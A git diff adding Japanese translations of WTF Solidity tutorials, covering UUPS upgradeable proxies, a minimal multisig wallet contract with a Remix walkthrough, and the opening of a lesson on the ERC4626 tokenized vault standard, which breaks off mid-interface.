+僕のツイッター:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) + +コミュニティ:[Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[公式サイト wtf.academy](https://wtf.academy) + +すべてのソースコードやレッスンは github にて公開: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +この講義では、プロキシコントラクトにおけるセレクター衝突(Selector Clash)のもう一つの解決方法である汎用アップグレード可能プロキシ(UUPS、universal upgradeable proxy standard)について説明します。教育用のコードは`OpenZeppelin`の`UUPSUpgradeable`を簡略化したもので、本番環境での使用は適していません。 + +## UUPS + +[前回の講義](https://github.com/AmazingAng/WTF-Solidity/blob/main/48_TransparentProxy/readme.md)で「セレクター衝突」(Selector Clash)について学習しました。これは、コントラクトに同じセレクターを持つ2つの関数が存在することで、深刻な結果を招く可能性があります。透明プロキシの代替案として、UUPSもこの問題を解決できます。 + +UUPS(universal upgradeable proxy standard、汎用アップグレード可能プロキシ)は、アップグレード関数をロジックコントラクト内に配置します。これにより、他の関数とアップグレード関数の間に「セレクター衝突」が存在する場合、コンパイル時にエラーが報告されます。 + +以下の表では、通常のアップグレード可能コントラクト、透明プロキシ、およびUUPSの違いをまとめています: + +![各種アップグレードコントラクト](./img/49-1.png) + +## UUPSコントラクト + +まず、[WTF Solidity超シンプル入門第23講:Delegatecall](https://github.com/AmazingAng/WTF-Solidity/blob/main/23_Delegatecall/readme.md)を復習しましょう。ユーザーAがコントラクトB(プロキシコントラクト)を通してコントラクトC(ロジックコントラクト)を`delegatecall`する場合、コンテキストは依然としてコントラクトBのコンテキストであり、`msg.sender`は依然としてユーザーAでありコントラクトBではありません。したがって、UUPSコントラクトはアップグレード関数をロジックコントラクト内に配置し、呼び出し者が管理者であるかどうかをチェックできます。 + +![delegatecall](./img/49-2.png) + +### UUPSのプロキシコントラクト + +UUPSのプロキシコントラクトは、アップグレード不可能なプロキシコントラクトのように見え、非常にシンプルです。アップグレード関数がロジックコントラクト内に配置されているためです。3つの変数を含みます: +- `implementation`:ロジックコントラクトのアドレス。 +- `admin`:管理者アドレス。 +- `words`:文字列、ロジックコントラクトの関数で変更可能。 + +2つの関数を含みます: + +- コンストラクタ:管理者とロジックコントラクトのアドレスを初期化。 +- `fallback()`:コールバック関数、呼び出しをロジックコントラクトに委譲。 + +```solidity +contract UUPSProxy { + address public implementation; // ロジックコントラクトのアドレス + address public admin; // 管理者アドレス + string public words; // 文字列、ロジックコントラクトの関数で変更可能 + + // コンストラクタ、管理者とロジックコントラクトのアドレスを初期化 + constructor(address _implementation){ + admin = msg.sender; + implementation = _implementation; + } + + // fallback関数、呼び出しをロジックコントラクトに委譲 + fallback() external payable { + (bool success, bytes memory data) = implementation.delegatecall(msg.data); + } +} +``` + +### UUPSのロジックコントラクト + +UUPSのロジックコントラクトと[第47講](https://github.com/AmazingAng/WTF-Solidity/blob/main/47_Upgrade/readme.md)のものとの違いは、アップグレード関数が追加されていることです。UUPSロジックコントラクトは3つの状態変数を含み、プロキシコントラクトと一致させてスロット衝突を防ぎます。2つの関数を含みます: +- `upgrade()`:アップグレード関数、ロジックコントラクトのアドレス`implementation`を変更、`admin`のみ呼び出し可能。 +- `foo()`:旧UUPSロジックコントラクトは`words`の値を`"old"`に変更し、新しいものは`"new"`に変更。 + +```solidity +// UUPSロジックコントラクト(アップグレード関数がロジックコントラクト内に記述) +contract UUPS1{ + // 状態変数をプロキシコントラクトと一致させ、スロット衝突を防ぐ + address public implementation; + address public admin; + string public words; // 文字列、ロジックコントラクトの関数で変更可能 + + // プロキシ内の状態変数を変更、セレクター: 0xc2985578 + function foo() public{ + words = "old"; + } + + // アップグレード関数、ロジックコントラクトのアドレスを変更、管理者のみ呼び出し可能。セレクター:0x0900f010 + // UUPSでは、ロジックコントラクト内にアップグレード関数が必要、そうでなければ再度アップグレードできません。 + function upgrade(address newImplementation) external { + require(msg.sender == admin); + implementation = newImplementation; + } +} + +// 新UUPSロジックコントラクト +contract UUPS2{ + // 状態変数をプロキシコントラクトと一致させ、スロット衝突を防ぐ + address public implementation; + address public admin; + string public words; // 文字列、ロジックコントラクトの関数で変更可能 + + // プロキシ内の状態変数を変更、セレクター: 0xc2985578 + function foo() public{ + words = "new"; + } + + // アップグレード関数、ロジックコントラクトのアドレスを変更、管理者のみ呼び出し可能。セレクター:0x0900f010 + // UUPSでは、ロジックコントラクト内にアップグレード関数が必要、そうでなければ再度アップグレードできません。 + function upgrade(address newImplementation) external { + require(msg.sender == admin); + implementation = newImplementation; + } +} +``` + +## `Remix`での実装 + +1. UUPS新旧ロジックコントラクト`UUPS1`と`UUPS2`をデプロイします。 + +![demo](./img/49-3.jpg) + +2. UUPSプロキシコントラクト`UUPSProxy`をデプロイし、`implementation`アドレスを旧ロジックコントラクト`UUPS1`に指定します。 + +![demo](./img/49-4.jpg) + +3. セレクター`0xc2985578`を使用して、プロキシコントラクト内で旧ロジックコントラクト`UUPS1`の`foo()`関数を呼び出し、`words`の値を`"old"`に変更します。 + +![demo](./img/49-5.jpg) + +4. オンラインABIエンコーダー[HashEx](https://abi.hashex.org/)を使用してバイナリエンコーディングを取得し、アップグレード関数`upgrade()`を呼び出して、`implementation`アドレスを新ロジックコントラクト`UUPS2`に指定します。 + +![エンコーディング](./img/49-3.png) + +![demo](./img/49-6.jpg) + +5. セレクター`0xc2985578`を使用して、プロキシコントラクト内で新ロジックコントラクト`UUPS2`の`foo()`関数を呼び出し、`words`の値を`"new"`に変更します。 + +![demo](./img/49-7.jpg) + +## まとめ + +この講義では、プロキシコントラクトの「セレクター衝突」のもう一つの解決策であるUUPSについて説明しました。透明プロキシとは異なり、UUPSはアップグレード関数をロジックコントラクト内に配置することで、「セレクター衝突」がコンパイルを通過できないようにします。透明プロキシと比較して、UUPSはガス効率が良いですが、より複雑でもあります。 \ No newline at end of file diff --git a/Languages/ja/50_MultisigWallet_ja/readme.md b/Languages/ja/50_MultisigWallet_ja/readme.md new file mode 100644 index 000000000..88e556f5f --- /dev/null +++ b/Languages/ja/50_MultisigWallet_ja/readme.md @@ -0,0 +1,292 @@ +# WTF Solidity 超シンプル入門: 50. マルチシグウォレット + +最近、Solidity の学習を再開し、詳細を確認しながら「Solidity 超シンプル入門」を作っています。これは初心者向けのガイドで、プログラミングの達人向けの教材ではありません。毎週 1〜3 レッスンのペースで更新していきます。 + +僕のツイッター:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) + +コミュニティ:[Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[公式サイト wtf.academy](https://wtf.academy) + +すべてのソースコードやレッスンは github にて公開: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +Vitalik氏は、マルチシグウォレットはハードウェアウォレットよりも安全だと述べています([ツイート](https://twitter.com/VitalikButerin/status/1558886893995134978?s=20&t=4WyoEWhwHNUtAuABEIlcRw))。この講義では、マルチシグウォレットについて説明し、極めてシンプルなマルチシグウォレットコントラクトを作成します。教育用コード(150行のコード)は、gnosis safeコントラクト(数千行のコード)を簡略化したものです。 + +![Vitalikの発言](./img/50-1.png) + +## マルチシグウォレット + +マルチシグウォレットは、複数の秘密鍵保有者(マルチシグ者)によってトランザクションが承認された後にのみ実行される電子ウォレットです。例えば、ウォレットが3人のマルチシグ者によって管理され、各トランザクションには少なくとも2人の署名承認が必要です。マルチシグウォレットは単一障害点(秘密鍵の紛失、単独での不正行為)を防ぎ、より分散化され、より安全で、多くのDAOに採用されています。 + +Gnosis Safeマルチシグウォレットは、イーサリアムで最も人気のあるマルチシグウォレットで、約400億ドルの資産を管理しており、コントラクトは監査と実戦テストを経て、マルチチェーン(イーサリアム、BSC、Polygonなど)をサポートし、豊富なDAPPサポートを提供しています。詳細については、私が21年12月に書いた[Gnosis Safe使用チュートリアル](https://peopledao.mirror.xyz/nFCBXda8B5ZxQVqSbbDOn2frFDpTxNVtdqVBXGIjj0s)をご覧ください。 + +## マルチシグウォレットコントラクト + +イーサリアム上のマルチシグウォレットは実際にはスマートコントラクトで、コントラクトウォレットに属します。以下では、極めてシンプルなマルチシグウォレット`MultisigWallet`コントラクトを作成します。そのロジックは非常にシンプルです: + +1. マルチシグ者と閾値を設定(オンチェーン):マルチシグコントラクトをデプロイする際、マルチシグ者リストと実行閾値(少なくともn人のマルチシグ者の署名承認後、トランザクションが実行可能)を初期化する必要があります。Gnosis Safeマルチシグウォレットはマルチシグ者の追加/削除および実行閾値の変更をサポートしていますが、私たちの極めてシンプルなバージョンではこの機能は考慮していません。 + +2. トランザクションの作成(オフチェーン):承認待ちのトランザクションには以下の内容が含まれます: + - `to`:ターゲットコントラクト。 + - `value`:トランザクションで送信するイーサリアムの量。 + - `data`:calldata、呼び出し関数のセレクターとパラメータを含む。 + - `nonce`:初期値は`0`、マルチシグコントラクトの各成功実行トランザクションとともに増加する値で、署名リプレイ攻撃を防ぐ。 + - `chainid`:チェーンID、異なるチェーンの署名リプレイ攻撃を防ぐ。 + +3. マルチシグ署名の収集(オフチェーン):前のステップのトランザクションをABIエンコードしてハッシュを計算し、トランザクションハッシュを取得し、マルチシグ者に署名してもらい、それらを連結してパック署名を得ます。ABIエンコードとハッシュについて理解していない場合は、WTF Solidity超シンプル入門[第27講](https://github.com/AmazingAng/WTF-Solidity/blob/main/27_ABIEncode/readme.md)と[第28講](https://github.com/AmazingAng/WTF-Solidity/blob/main/28_Hash/readme.md)をご覧ください。 + + ```solidity + トランザクションハッシュ: 0xc1b055cf8e78338db21407b425114a2e258b0318879327945b661bfdea570e66 + + マルチシグ者A署名: 0x014db45aa753fefeca3f99c2cb38435977ebb954f779c2b6af6f6365ba4188df542031ace9bdc53c655ad2d4794667ec2495196da94204c56b1293d0fbfacbb11c + + マルチシグ者B署名: 0xbe2e0e6de5574b7f65cad1b7062be95e7d73fe37dd8e888cef5eb12e964ddc597395fa48df1219e7f74f48d86957f545d0fbce4eee1adfbaff6c267046ade0d81c + + パック署名: + 0x014db45aa753fefeca3f99c2cb38435977ebb954f779c2b6af6f6365ba4188df542031ace9bdc53c655ad2d4794667ec2495196da94204c56b1293d0fbfacbb11cbe2e0e6de5574b7f65cad1b7062be95e7d73fe37dd8e888cef5eb12e964ddc597395fa48df1219e7f74f48d86957f545d0fbce4eee1adfbaff6c267046ade0d81c + ``` + +4. マルチシグコントラクトの実行関数を呼び出し、署名を検証してトランザクションを実行(オンチェーン)。署名検証とトランザクション実行について理解していない場合は、WTF Solidity超シンプル入門[第22講](https://github.com/AmazingAng/WTF-Solidity/blob/main/22_Call/readme.md)と[第37講](https://github.com/AmazingAng/WTF-Solidity/blob/main/37_Signature/readme.md)をご覧ください。 + +### イベント + +`MultisigWallet`コントラクトには2つのイベント、`ExecutionSuccess`と`ExecutionFailure`があり、それぞれトランザクションの成功と失敗時に発行され、パラメータはトランザクションハッシュです。 + +```solidity + event ExecutionSuccess(bytes32 txHash); // トランザクション成功イベント + event ExecutionFailure(bytes32 txHash); // トランザクション失敗イベント +``` + +### 状態変数 + +`MultisigWallet`コントラクトには5つの状態変数があります: +1. `owners`:マルチシグ保有者配列 +2. `isOwner`:`address => bool`のマッピング、アドレスがマルチシグ保有者かどうかを記録。 +3. `ownerCount`:マルチシグ保有者数 +4. `threshold`:マルチシグ実行閾値、トランザクションは少なくともn人のマルチシグ者の署名がなければ実行できない。 +5. `nonce`:初期値は`0`、マルチシグコントラクトの各成功実行トランザクションとともに増加する値で、署名リプレイ攻撃を防ぐ。 + +```solidity + address[] public owners; // マルチシグ保有者配列 + mapping(address => bool) public isOwner; // アドレスがマルチシグ保有者かどうかを記録 + uint256 public ownerCount; // マルチシグ保有者数 + uint256 public threshold; // マルチシグ実行閾値、トランザクションは少なくともn人のマルチシグ者の署名がなければ実行できない + uint256 public nonce; // nonce、署名リプレイ攻撃を防ぐ +``` + +### 関数 + +`MultisigWallet`コントラクトには6つの関数があります: + +1. コンストラクタ:`_setupOwners()`を呼び出し、マルチシグ保有者と実行閾値に関連する変数を初期化。 + ```solidity + // コンストラクタ、owners, isOwner, ownerCount, thresholdを初期化 + constructor( + address[] memory _owners, + uint256 _threshold + ) { + _setupOwners(_owners, _threshold); + } + ``` + +2. `_setupOwners()`:コントラクトデプロイ時にコンストラクタによって呼び出され、`owners`、`isOwner`、`ownerCount`、`threshold`状態変数を初期化。渡されるパラメータで、実行閾値は1以上でマルチシグ者数以下である必要があります。マルチシグアドレスは`0`アドレスであってはならず、重複してもいけません。 + ```solidity + /// @dev owners, isOwner, ownerCount, thresholdを初期化 + /// @param _owners: マルチシグ保有者配列 + /// @param _threshold: マルチシグ実行閾値、少なくとも何人のマルチシグ者がトランザクションに署名したか + function _setupOwners(address[] memory _owners, uint256 _threshold) internal { + // thresholdが初期化されていない + require(threshold == 0, "WTF5000"); + // マルチシグ実行閾値がマルチシグ者数以下 + require(_threshold <= _owners.length, "WTF5001"); + // マルチシグ実行閾値が少なくとも1 + require(_threshold >= 1, "WTF5002"); + + for (uint256 i = 0; i < _owners.length; i++) { + address owner = _owners[i]; + // マルチシグ者は0アドレス、本コントラクトアドレス、重複であってはならない + require(owner != address(0) && owner != address(this) && !isOwner[owner], "WTF5003"); + owners.push(owner); + isOwner[owner] = true; + } + ownerCount = _owners.length; + threshold = _threshold; + } + ``` + +3. `execTransaction()`:十分なマルチシグ署名を収集した後、署名を検証してトランザクションを実行。渡されるパラメータは、ターゲットアドレス`to`、送信するイーサリアム量`value`、データ`data`、およびパック署名`signatures`。パック署名は、収集したマルチシグ者のトランザクションハッシュに対する署名を、マルチシグ保有者アドレスの昇順に[bytes]データにパックしたものです。このステップでは`encodeTransactionData()`を呼び出してトランザクションをエンコードし、`checkSignatures()`を呼び出して署名が有効で数量が実行閾値に達しているかを検証します。 + + ```solidity + /// @dev 十分なマルチシグ署名を収集した後、トランザクションを実行 + /// @param to ターゲットコントラクトアドレス + /// @param value msg.value、支払うイーサリアム + /// @param data calldata + /// @param signatures パック署名、対応するマルチシグアドレスは小から大の順序で、チェックを容易にする。 ({bytes32 r}{bytes32 s}{uint8 v}) (第1マルチシグの署名, 第2マルチシグの署名 ... ) + function execTransaction( + address to, + uint256 value, + bytes memory data, + bytes memory signatures + ) public payable virtual returns (bool success) { + // トランザクションデータをエンコードし、ハッシュを計算 + bytes32 txHash = encodeTransactionData(to, value, data, nonce, block.chainid); + nonce++; // nonceを増加 + checkSignatures(txHash, signatures); // 署名をチェック + // callを利用してトランザクションを実行し、トランザクション結果を取得 + (success, ) = to.call{value: value}(data); + require(success , "WTF5004"); + if (success) emit ExecutionSuccess(txHash); + else emit ExecutionFailure(txHash); + } + ``` + +4. `checkSignatures()`:署名とトランザクションデータのハッシュが対応し、数量が閾値に達しているかをチェックし、そうでなければトランザクションはrevertします。単一の署名の長さは65バイトなので、パック署名の長さは`threshold * 65`以上である必要があります。`signatureSplit()`を呼び出して単一の署名を分離します。この関数の大まかな考え方: + - ecdsaを使用して署名アドレスを取得。 + - `currentOwner > lastOwner`を利用して署名が異なるマルチシグからのもの(マルチシグアドレス昇順)であることを確認。 + - `isOwner[currentOwner]`を利用して署名者がマルチシグ保有者であることを確認。 + + ```solidity + /** + * @dev 署名とトランザクションデータが対応しているかをチェック。無効な署名の場合、トランザクションはrevert + * @param dataHash トランザクションデータハッシュ + * @param signatures 複数のマルチシグ署名をパックしたもの + */ + function checkSignatures( + bytes32 dataHash, + bytes memory signatures + ) public view { + // マルチシグ実行閾値を読み取り + uint256 _threshold = threshold; + require(_threshold > 0, "WTF5005"); + + // 署名の長さが十分であることをチェック + require(signatures.length >= _threshold * 65, "WTF5006"); + + // ループを通じて、収集した署名が有効かをチェック + // 大まかな考え方: + // 1. ecdsaでまず署名が有効かを検証 + // 2. currentOwner > lastOwnerを利用して署名が異なるマルチシグからのもの(マルチシグアドレス昇順)であることを確認 + // 3. isOwner[currentOwner]を利用して署名者がマルチシグ保有者であることを確認 + address lastOwner = address(0); + address currentOwner; + uint8 v; + bytes32 r; + bytes32 s; + uint256 i; + for (i = 0; i < _threshold; i++) { + (v, r, s) = signatureSplit(signatures, i); + // ecrecoverを利用して署名が有効かをチェック + currentOwner = ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", dataHash)), v, r, s); + require(currentOwner > lastOwner && isOwner[currentOwner], "WTF5007"); + lastOwner = currentOwner; + } + } + ``` + +5. `signatureSplit()`:パック署名から単一の署名を分離、パラメータはそれぞれパック署名`signatures`と読み取る署名位置`pos`。インラインアセンブリを利用して、署名の`r`、`s`、`v`の3つの値を分離。 + + ```solidity + /// 単一の署名をパック署名から分離 + /// @param signatures パック署名 + /// @param pos 読み取るマルチシグインデックス + function signatureSplit(bytes memory signatures, uint256 pos) + internal + pure + returns ( + uint8 v, + bytes32 r, + bytes32 s + ) + { + // 署名の形式:{bytes32 r}{bytes32 s}{uint8 v} + assembly { + let signaturePos := mul(0x41, pos) + r := mload(add(signatures, add(signaturePos, 0x20))) + s := mload(add(signatures, add(signaturePos, 0x40))) + v := and(mload(add(signatures, add(signaturePos, 0x41))), 0xff) + } + } + ``` + +6. `encodeTransactionData()`:トランザクションデータをパックしてハッシュを計算、`abi.encode()`と`keccak256()`関数を利用。この関数はトランザクションのハッシュを計算でき、その後オフチェーンでマルチシグ者に署名してもらい収集し、再度`execTransaction()`関数を呼び出して実行します。 + + ```solidity + /// @dev トランザクションデータをエンコード + /// @param to ターゲットコントラクトアドレス + /// @param value msg.value、支払うイーサリアム + /// @param data calldata + /// @param _nonce トランザクションのnonce + /// @param chainid チェーンID + /// @return トランザクションハッシュbytes + function encodeTransactionData( + address to, + uint256 value, + bytes memory data, + uint256 _nonce, + uint256 chainid + ) public pure returns (bytes32) { + bytes32 safeTxHash = + keccak256( + abi.encode( + to, + value, + keccak256(data), + _nonce, + chainid + ) + ); + return safeTxHash; + } + ``` + +## `Remix`デモ + +1. マルチシグコントラクトをデプロイ、2つのマルチシグアドレス、トランザクション実行閾値を2に設定。 + + ```solidity + マルチシグアドレス1: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 + マルチシグアドレス2: 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2 + ``` + + ![デプロイ](./img/50-2.png) + +2. マルチシグコントラクトアドレスに`1 ETH`を送金。 + + ![送金](./img/50-3.png) + +3. `encodeTransactionData()`を呼び出し、マルチシグアドレス1に`1 ETH`を送金するトランザクションをエンコードしてハッシュを計算。 + + ```solidity + パラメータ + to: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 + value: 1000000000000000000 + data: 0x + _nonce: 0 + chainid: 1 + + 結果 + トランザクションハッシュ: 0xb43ad6901230f2c59c3f7ef027c9a372f199661c61beeec49ef5a774231fc39b + ``` + + ![トランザクションハッシュ計算](./img/50-4.png) + +4. RemixのACCOUNTの横にあるペンアイコンのボタンを利用して署名し、内容に上記のトランザクションハッシュを入力して署名を取得、2つのウォレットとも署名が必要。 + ``` + マルチシグアドレス1の署名: 0xa3f3e4375f54ad0a8070f5abd64e974b9b84306ac0dd5f59834efc60aede7c84454813efd16923f1a8c320c05f185bd90145fd7a7b741a8d13d4e65a4722687e1b + + マルチシグアドレス2の署名: 0x6b228b6033c097e220575f826560226a5855112af667e984aceca50b776f4c885e983f1f2155c294c86a905977853c6b1bb630c488502abcc838f9a225c813811c + + 2つの署名を連結してパック署名を取得: 0xa3f3e4375f54ad0a8070f5abd64e974b9b84306ac0dd5f59834efc60aede7c84454813efd16923f1a8c320c05f185bd90145fd7a7b741a8d13d4e65a4722687e1b6b228b6033c097e220575f826560226a5855112af667e984aceca50b776f4c885e983f1f2155c294c86a905977853c6b1bb630c488502abcc838f9a225c813811c + ``` + + ![署名](./img/50-5.png) + +5. `execTransaction()`関数を呼び出してトランザクションを実行、第3ステップのトランザクションパラメータとパック署名をパラメータとして渡す。トランザクションが正常に実行され、`ETH`がマルチシグから送金されることがわかります。 + + ![マルチシグウォレットトランザクション実行](./img/50-6.png) + +## まとめ + +この講義では、マルチシグウォレットについて説明し、150行未満のコードで極めてシンプルなマルチシグウォレットコントラクトを作成しました。 + +私はマルチシグウォレットとは深い縁があり、2021年にPeopleDAO国庫作成のためにGnosis Safeを学習し、中英文の[使用チュートリアル](https://peopledao.mirror.xyz/nFCBXda8B5ZxQVqSbbDOn2frFDpTxNVtdqVBXGIjj0s)を書き、その後幸運にも3つの国庫のマルチシグ者として資産安全を維持し、現在はSafeのガーディアンとしてガバナンスに深く参与しています。皆さんの資産がより安全になることを願っています。 \ No newline at end of file diff --git a/Languages/ja/51_ERC4626_ja/readme.md b/Languages/ja/51_ERC4626_ja/readme.md new file mode 100644 index 000000000..c7cd977e9 --- /dev/null +++ b/Languages/ja/51_ERC4626_ja/readme.md @@ -0,0 +1,482 @@ +--- +title: 51. ERC4626 トークン化金庫標準 +tags: + - solidity + - erc20 + - erc4626 + - defi + - vault + - openzepplin + +--- + +# WTF Solidity 超シンプル入門: 51. ERC4626 トークン化金庫標準 + +最近、Solidity の学習を再開し、詳細を確認しながら「Solidity 超シンプル入門」を作っています。これは初心者向けのガイドで、プログラミングの達人向けの教材ではありません。毎週 1〜3 レッスンのペースで更新していきます。 + +僕のツイッター:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) + +コミュニティ:[Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[公式サイト wtf.academy](https://wtf.academy) + +すべてのソースコードやレッスンは github にて公開: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +DeFiはよく「マネーレゴ」と呼ばれ、複数のプロトコルを組み合わせて新しいプロトコルを作成できます。しかし、DeFiは標準が不足しているため、その組み合わせ可能性が深刻に影響を受けています。ERC4626は、ERC20トークン標準を拡張し、収益金庫の標準化を推進することを目的としています。今回は、DeFiの新世代標準ERC4626について紹介し、シンプルな金庫コントラクトを作成します。教学コードはopenzeppelinとsolmateのERC4626コントラクトを参考にしており、教学目的でのみ使用します。 + +## 金庫 + +金庫コントラクトはDeFiレゴの基盤であり、基礎資産(トークン)をコントラクトに質入れして一定の収益を得ることができます。以下の応用シナリオがあります: + +- 収益農場:Yearn Financeでは、`USDT`を質入れして利息を得ることができます。 +- 貸借:AAVEでは、`ETH`を貸し出して預金利息と貸出を得ることができます。 +- 質入れ:Lidoでは、`ETH`を質入れしてETH 2.0質入れに参加し、利息が付く`stETH`を得ることができます。 + +## ERC4626 + +![](./img/51-1.png) + +金庫コントラクトは標準が不足しているため、書き方が多様で、一つの収益アグリゲーターが異なるDeFiプロジェクトに対接するために多くのインターフェースを書く必要があります。ERC4626トークン化金庫標準(Tokenized Vault Standard)が登場し、DeFiが簡単に拡張できるようになりました。以下の利点があります: + +1. トークン化:ERC4626はERC20を継承し、金庫に預金する際、同様にERC20標準に適合する金庫持分を得ます(例:ETHを質入れすると自動的にstETHを取得)。 + +2. より良い流動性:トークン化により、基礎資産を取り戻すことなく、金庫持分を使って他のことができます。LidoのstETHを例にすると、UniswapでETHを取り出すことなく流動性を提供したり取引したりできます。 + +3. より良い組み合わせ可能性:標準ができた後、一つのインターフェースですべてのERC4626金庫とやり取りでき、金庫ベースのアプリケーション、プラグイン、ツールの開発が簡単になります。 + +総じて、ERC4626のDeFiに対する重要性は、ERC721のNFTに対する重要性に劣りません。 + +### ERC4626 要点 + +ERC4626標準は主に以下のロジックを実装します: + +1. ERC20:ERC4626はERC20を継承し、金庫持分はERC20トークンで表されます。ユーザーが特定のERC20基礎資産(例:WETH)を金庫に預けると、コントラクトは特定数量の金庫持分トークンを鋳造します。ユーザーが金庫から基礎資産を引き出すと、対応する数量の金庫持分トークンが破棄されます。`asset()`関数は金庫の基礎資産のトークンアドレスを返します。 +2. 預金ロジック:ユーザーが基礎資産を預け、対応する数量の金庫持分を鋳造できるようにします。関連関数は`deposit()`と`mint()`です。`deposit(uint assets, address receiver)`関数はユーザーが`assets`単位の資産を預け、対応する数量の金庫持分を`receiver`アドレスに鋳造します。`mint(uint shares, address receiver)`はそれと似ていますが、鋳造される金庫持分をパラメータとして使用します。 +3. 引き出しロジック:ユーザーが金庫持分を破棄し、金庫から対応する数量の基礎資産を引き出せるようにします。関連関数は`withdraw()`と`redeem()`で、前者は引き出す基礎資産数量をパラメータとし、後者は破棄する金庫持分をパラメータとします。 +4. 会計と限度ロジック:ERC4626標準の他の関数は、金庫内の資産統計、預金/引き出し限度、預金/引き出しの基礎資産と金庫持分数量を統計するためのものです。 + +### IERC4626 インターフェースコントラクト + +IERC4626インターフェースコントラクトには合計`2`つのイベントが含まれます: +- `Deposit`イベント:預金時にトリガー。 +- `Withdraw`イベント:引き出し時にトリガー。 + +IERC4626インターフェースコントラクトには`16`の関数が含まれ、機能により`4`つの大カテゴリに分けられます:メタデータ、預金/引き出しロジック、会計ロジック、預金/引き出し限度ロジック。 + +- メタデータ + + - `asset()`:金庫の基礎資産トークンアドレスを返し、預金、引き出しに使用。 +- 預金/引き出しロジック + - `deposit()`:預金関数、ユーザーが金庫に`assets`単位の基礎資産を預け、その後コントラクトが`shares`単位の金庫持分を`receiver`アドレスに鋳造。`Deposit`イベントを発行。 + - `mint()`:鋳造関数(預金関数でもある)、ユーザーが希望する`shares`単位の金庫持分を指定し、関数が計算後に必要な`assets`単位の基礎資産数量を得て、その後コントラクトがユーザーアカウントから`assets`単位の基礎資産を転送し、`receiver`アドレスに指定数量の金庫持分を鋳造。`Deposit`イベントを発行。 + - `withdraw()`:引き出し関数、`owner`アドレスが`share`単位の金庫持分を破棄し、その後コントラクトが対応する数量の基礎資産を`receiver`アドレスに送信。 + - `redeem()`:償還関数(引き出し関数でもある)、`owner`アドレスが`shares`数量の金庫持分を破棄し、その後コントラクトが対応する単位の基礎資産を`receiver`アドレスに送信。 +- 会計ロジック + - `totalAssets()`:金庫で管理されている基礎資産トークンの総額を返す。 + - `convertToShares()`:一定数額の基礎資産で交換できる金庫持分を返す。 + - `convertToAssets()`:一定数額の金庫持分で交換できる基礎資産を返す。 + - `previewDeposit()`:現在のオンチェーン環境で一定数額の基礎資産を預金して得られる金庫持分をユーザーがシミュレートするため。 + - `previewMint()`:現在のオンチェーン環境で一定数額の金庫持分を鋳造するのに必要な基礎資産数量をユーザーがシミュレートするため。 + - `previewWithdraw()`:現在のオンチェーン環境で一定数額の基礎資産を引き出すのに必要な金庫持分をユーザーがシミュレートするため。 + - `previewRedeem()`:現在のオンチェーン環境で一定数額の金庫持分を破棄して償還できる基礎資産数量をオンチェーンとオフチェーンユーザーがシミュレートするため。 +- 預金/引き出し限度ロジック + - `maxDeposit()`:あるユーザーアドレスの一回の預金で預けられる最大基礎資産数額を返す。 + - `maxMint()`:あるユーザーアドレスの一回の鋳造で鋳造できる最大金庫持分を返す。 + - `maxWithdraw()`:あるユーザーアドレスの一回の引き出しで引き出せる最大基礎資産持分を返す。 + - `maxRedeem()`:あるユーザーアドレスの一回の償還で破棄できる最大金庫持分を返す。 + +```solidity +// SPDX-License-Identifier: MIT +// Author: 0xAA from WTF Academy + +pragma solidity ^0.8.0; + +import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; +import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol"; + +/** + * @dev ERC4626 "トークン化金庫標準"のインターフェースコントラクト + * https://eips.ethereum.org/EIPS/eip-4626[ERC-4626]. + */ +interface IERC4626 is IERC20, IERC20Metadata { + /*////////////////////////////////////////////////////////////// + イベント + //////////////////////////////////////////////////////////////*/ + // 預金時にトリガー + event Deposit(address indexed sender, address indexed owner, uint256 assets, uint256 shares); + + // 引き出し時にトリガー + event Withdraw( + address indexed sender, + address indexed receiver, + address indexed owner, + uint256 assets, + uint256 shares + ); + + /*////////////////////////////////////////////////////////////// + メタデータ + //////////////////////////////////////////////////////////////*/ + /** + * @dev 金庫の基礎資産トークンアドレスを返す(預金、引き出しに使用) + * - ERC20トークンコントラクトアドレスである必要があります + * - revertしてはいけません + */ + function asset() external view returns (address assetTokenAddress); + + /*////////////////////////////////////////////////////////////// + 預金/引き出しロジック + //////////////////////////////////////////////////////////////*/ + /** + * @dev 預金関数:ユーザーが金庫にassets単位の基礎資産を預け、その後コントラクトがshares単位の金庫持分をreceiverアドレスに鋳造 + * + * - Depositイベントを発行する必要があります + * - 資産が預けられない場合、revertする必要があります(預金数額が上限を大幅に上回る場合など) + */ + function deposit(uint256 assets, address receiver) external returns (uint256 shares); + + /** + * @dev 鋳造関数:ユーザーがassets単位の基礎資産を預ける必要があり、その後コントラクトがreceiverアドレスにshare数量の金庫持分を鋳造 + * - Depositイベントを発行する必要があります + * - すべての金庫持分が鋳造できない場合、revertする必要があります(鋳造数額が上限を大幅に上回る場合など) + */ + function mint(uint256 shares, address receiver) external returns (uint256 assets); + + /** + * @dev 引き出し関数:ownerアドレスがshare単位の金庫持分を破棄し、その後コントラクトがassets単位の基礎資産をreceiverアドレスに送信 + * - Withdrawイベントを発行 + * - すべての基礎資産が引き出せない場合、revert + */ + function withdraw(uint256 assets, address receiver, address owner) external returns (uint256 shares); + + /** + * @dev 